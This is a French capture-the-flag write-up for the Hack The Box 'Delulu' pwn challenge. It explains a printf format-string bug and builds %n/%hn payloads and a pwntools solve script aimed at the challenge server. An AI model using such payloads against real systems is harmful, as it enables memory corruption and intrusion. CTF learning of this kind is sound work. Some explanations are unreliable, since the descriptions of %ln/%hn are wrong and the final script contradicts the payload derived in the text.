# Delulu

**Catégorie:** Pwn\
**Difficulté:** very-easy\
**Flag:** HTB{m45t3r\_0f\_d3c3pt10n}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FPANLThu4qde16I7MPwy1%2Fpwn_delulu.zip?alt=media&token=7d3ef899-9855-4a48-a1a3-30b9c385d478" %}

{% hint style="info" %}
#### Description

***

HALT! Recognition protocol initiated. Please present your face for scanning.
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/pwn/\[Very%20Easy]%20Delulu)
{% endhint %}

## Analyse du binaire

### Décompilation et objectif

Après décompilation on obtient :

```c
int main(void) {
  long lVar1;
  long in_FS_OFFSET;
  long target;
  long *target_address;
  char buffer [0x20];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  target = 0x1337babe;
  target_address = &target;
  
  read(0x0,buffer,0x1f);
  printf("\n[!] Checking.. ");
  printf(buffer);
  if (target == 0x1337beef) {
    delulu();
  }
  else {
    error("ALERT ALERT ALERT ALERT\n");
  }
  
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0x0;
}
```

L’objectif ici est de modifier notre variable **`target`** pour qu’elle passe de **`0x1337babe`** à **`0x1337beef`**

Il faut passer par **`printf`** pour exploiter le binaire et écrire dans la stack. Pour cela on va utilise **`%n`** qui permet de faire exactement cela si l’on connaît l’adresse de notre cible. Une chance que dans le code on est une variable **`target_address`** qui contient exactement ce que l’on veut et qui se situe juste après.

{% hint style="info" %}
Pourquoi **`printf`** est exploitable ? Parce que notre input n’est pas vérifier et que cette fonction permet de formatter la sortie, c’est à dire que **`printf("test n°%d", n)`** remplacera le **`%d`** par le premier argument. Et le première argument c’est quoi ? C’est ce qui se situe juste avant dans la stack. Et donc si on entre un format spécifique, la fonction ira chercher d’elle même dans la stack pour remplacer. Ainsi si on entre **`"%x %x %x"`** (_**`%x`** permet d’afficher en hexadécimal la valeur de l’argument_) \*\*\*\*la fonction ira récupérer les 3 éléments juste avant elle dans la stack pour les afficher. On peut donc leak des infos présentes en mémoire mais pas que…
{% endhint %}

### Trouver l’adresse cible

On commence donc par repérer l’emplacement dans la stack notre **`target`** pour regarder ensuite son adresse (qui sera donc juste à côté grâce à l’autre variable). Pour ça on envoie : **`%x %x %x %x %x %x %x %x %x %x %x %x %x`**

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2F4r30l6IGAkWBC3GVshCQ%2Fimage_2024-04-04_100635769.png?alt=media&#x26;token=d7e7d746-3840-43ec-9d28-32bd8138bf37" alt=""><figcaption></figcaption></figure>

On trouve donc notre cible en 6ème position (_en bleu_) et son adresse en 7ème (_en vert_).

### Tester ses payload et comprendre l’injection

Pour vérifier ce que l’on envoie, on peut utiliser **GDB** en local. J’ai placé un breakpoint juste avant la comparaison :

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FH4DrjA0zruzH1LRSMDD9%2Fimage_2024-04-04_100659365.png?alt=media&#x26;token=4b26b473-c821-4798-b3fa-fc9334b0e9ba" alt=""><figcaption></figcaption></figure>

On voit que la comparaison se fait entre **`RAX`** et **`0x133tbeef`** et dans notre registre nous avons bien **`0x133tbabe`** .

Essayons maintenant avec le payload **`AAAA%7$n`** (_le **`%7$n`** permet de spécifier que l’on veut écrire dans le 7ème argument, donc le 7ème emplacement de notre stack, sans avoir à placer 6 **`%n`** avant_) :

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FB6vmT1mkYg7vOFbiH3j8%2Fimage_2024-04-04_100714290.png?alt=media&#x26;token=77bf4a3c-db0e-406e-a399-1554478476c0" alt=""><figcaption></figcaption></figure>

Maintenant notre registre contient 4, pourquoi ? Parce que l’on a envoyer 4 caractères avant notre **`%n`**

Ca voudrait dire qu’il faut envoyer **`0x133tbeef`** soit 322420463 caractères avant notre **`%7$n`** alors que notre buffer n’en fait que 32 ??

Et bien non, on peut utiliser **`%x`** pour cela, envoyer **`%42x`** signifie créer un padding de 42 caractères et donc **`printf`** créera 42 caractères avant le **`%7$n`**

Donc le bon payload est **`%322420463x%7$n`** ?

Oui… **mais non**, si l’on fait ça, écrire autant de caractères pour le programme ça va être long. Heureusement on peut choisir d’écrire uniquement dans une partie de l’adresse, soit en bas avec **`%ln`** soit en haut avec **`%hn`**

Renvoyons notre payload d’avant avec cette modification : **`AAAA%7$hn`**

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2Fr1U2MOlahcBKAoWotFvf%2Fimage_2024-04-04_100732734.png?alt=media&#x26;token=2da39f5d-f947-4bbf-9433-23c8794b8b46" alt=""><figcaption></figcaption></figure>

On voit que le **`0x1337`** est bien resté, on a écrit dans le haut de l’adresse, c’est à dire les bytes faibles.

Il nous suffit maintenant de n’envoyer “que” **`0xbeef`** soit 48879 caractères.

Notre payload final est donc maintenant : `%48879x%7$hn`

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FbuM1aidXPZapiMPBT7Vn%2Fimage_2024-04-04_100746812.png?alt=media&#x26;token=a1e1d627-1ff6-4715-aedc-d3d31175bca5" alt=""><figcaption></figcaption></figure>

Et voilà, notre comparaison pourra maintenant fonctionner sans soucis. Plus qu’à envoyer ce payload au vrai serveur

## Script de résolution

```python
from pwnlib.tubes.remote import remote

def solve(host, port):
	client = remote(host, port)
	client.recvuntil(b'>> ')

	payload = f"%{0x1337beef}x%7$n".encode()
	print(payload)
	client.send_raw(payload)

	flag = client.recvall().decode().rsplit(': ')[1].strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('83.136.252.32', 38736)
```
